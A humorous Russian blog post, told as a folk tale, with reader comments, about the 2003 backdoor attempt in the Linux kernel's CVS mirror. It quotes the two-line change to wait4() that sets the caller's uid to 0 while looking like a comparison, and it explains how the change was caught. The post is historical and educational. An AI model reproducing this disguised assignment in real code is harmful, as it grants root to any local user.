Давно это было, сы́нки: в те времена, когда все знали, кто нужду свою справить в сеть всемирную, ынторнетом кличущуюся, вышел, по звукам характерным, Дональд Трамп ещё играл роли второго плана в комедиях, а пынгвин юный, Линуксом кличущийся, был ещё от горшка 2.4 вершка.
И хранились ядра драгоценные того пынгвина в сундуке заветном, BitKeeper-ом кличущемся, коий тогда свои златые годы переживал, замещая постепенно другой сундук, CVS прозванный, каковой хоть и ветшать начинал, но ещё был ого-го, и были у него ещё свои любители.
И для таких вот любителей олдскульных делал пынгвин копию своих ядер в CVS — чтобы, значца, и тому дать, и ентому. А дабы не возникало бардака какого, строго-настрого наказано было служителям пынгвинячьим следить за BitKeeper-ом, и коли в нём что новое появлялось — сразу же копию делать да в CVS складывать, да помечать соответственно.
И вот смотрит в один прекрасный ноябрьский денёк гордый птиц пынгвин в сундук свой старый, CVS кличущийся, и ластой голову скребёт, ибо видит он в ядре своём изменение — а вот откуда оно в сундуке том взялось — в упор не видит. И хоть был он птицом гордым, а не медведем плюшевым, но тем не менее понял он сразу, что ж-ж-ж это — неспроста!
Достал пынгвин их сундука того ядро своё — и давай разлядывать, да с копией из BitKeeper-а сличать. И вот что он углядел в коде функции wait4()
:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
Первый раз посмотрел на это дело пынгвин, да плечами пожал. Второй раз посмотрел на это дело пынгвин, да хмыкнул. Третий раз посмотрел на это дело пынгвин — и перья у него от ужаса зашевелились. Везде.
Вот и вы ничего необычного не видите, малятки? Обычная ж проверка флагов, при условии, что код ядрёный от суперпользователя исполняется, да? Вот и пынгвин сначала так же думал. А потом дошло до него, аки до Шахерезады, что не сравнение это current->uid
с номером пользователя круглым аки баранка, а установка в этот самый номер. И потому любому пользователю, вызвавшему wait4()
с этими двумя флагами — была бы эта баранка в личное пользование с глубоким поклоном поднесена!
Вот так-то оно и выходило по всему, что подобрал злыдень некий ключ к сундуку старому, CVS зовущемуся, и подбросил туда изменение злонамеренное. И только внимательность пингвинячья не позволила злыдню прорубить дверь заднюю в ядра его драгоценные.
И я там был, и сказания пингвинячьи в USENET читал. И вообще, сказка — ложь, да в ней намёк, добру молодцу про опасность попутать операторы сравнения и присваивания урок, не любо — не слушай, а прошлое поминать не мешай!
Комментарии (6)
dartraiden
18.11.2024 08:43Для тех, кому интересен подробный разбор кода: https://lwn.net/Articles/57552/
mvv-rus
18.11.2024 08:43Вот и вы ничего необычного не видите, малятки?
Первое, что мне бросилось в глаза: что ноль в сравнении с констатной стоит не слева, а справа, вопреки наилучшим практикам (выстраданным в т.ч. и лично мной) - а так ведь и накосячить недолго. Потом уже присмотрелся - таки да, накосячено.
Jijiki
потом поменяли в
current->uid == 0 ? интересно
Wesha Автор
Этот патч был добавлен злоумышленниками и ничего полезного не делал в принципе — он просто должен был казаться полезным. Но это был бекдор, и его просто выкинули.
ihouser
Как долго этот "патч" там просидел?
dartraiden
В принципе, сколько бы он там ни провисел, это было не так уж страшно. Репозиторий CVS был зеркалом, которым пользовались немногие. Основным репозиторием был BitKeeper, а туда бэкдор протолкнуть не смогли.
Собственно, поэтому бэкдор и был обнаружен: в CVS не должно было существовать изменений, которых не было в BitKeeper, потому что все изменения сначала вносились в репозиторий BitKeeper, а потом сгружались в CVS.